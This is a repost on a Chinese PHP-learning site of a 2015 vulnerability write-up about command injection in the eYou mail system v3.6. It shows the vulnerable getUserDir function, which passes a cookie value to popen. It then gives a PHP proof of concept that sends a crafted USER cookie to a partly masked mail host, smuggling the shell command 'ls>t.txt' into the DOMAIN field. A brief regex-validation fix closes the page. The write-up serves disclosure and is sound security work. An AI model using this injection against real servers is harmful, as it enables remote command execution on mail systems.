网站地图    收藏   

主页 > 后端 > 网站安全 >

eYou邮箱系统v3.6命令执行 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 有条件限制,需要登陆权限,新版本无效,还是命令执行。问题出在getUserDir这个函数里,$_COOKIE毫无过滤带入。先看eYou的代码://获取用户目录function getUserDir($uid, $domain) { $handle = pop.....


有条件限制,需要登陆权限,新版本无效,还是命令执行。问题出在getUserDir这个函数里,$_COOKIE毫无过滤带入。
先看eYou的代码:
 
//获取用户目录
function getUserDir($uid, $domain) {
    $handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
    $read = fread($handle, 2096);
    pclose($handle);
    return $read;
}

 

 
$domain无过滤,直接可以执行。
 
接着是利用代码,没有现成的哈,自己看着来改就行了。
 
 
public function action_test()
{
$cmd = "ls>t.txt";
$request = Request::factory('http://mail.XXXXXXXXXXXX.cn/user/autoComplete.php?s=1')
->cookie('USER', "LASTONE=fake&ENTER_TYPE=0&NO_EYCM=1&GWJUMP=1&MAXRCPTNUM=150&LANG=zh_CN&TOKEN=z2GYCv1SJ&DOMAIN=test.com;{$cmd}&UID=test&LOGIN_DOMAIN=test.com&LOGIN_UID=timothy&ATTSIZE=10&CALLBACK=0&TRACEMAIL=0&GROUPADDR=0&VIEWLIST=0&GLOBALPERMISSION=0&NOTATION=0&BYTESPERCENT=0&BOOKMARK=1&MOBILEMESSAGE=0&DIALUP=0&VIDEOMAIL=0&SECUREMAIL=0&VOICEMAIL=1&CALENDAR=1&STORAGE=1&TOTALSPACE=200&LOCKSTATUS=0&USERNAME=&EXPTIME=0&LETTERS=5000&QUOTA=100&COMPANYADDR=&SKIN=current&")
->cookie('PHPSESSID', 'e1c8798afec734384cd908180e52b1cf')
->execute();
echo Debug::vars($request);
exit;
}

 

 
修复方案:

在getUserDir方法中用正则验证下domain。 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论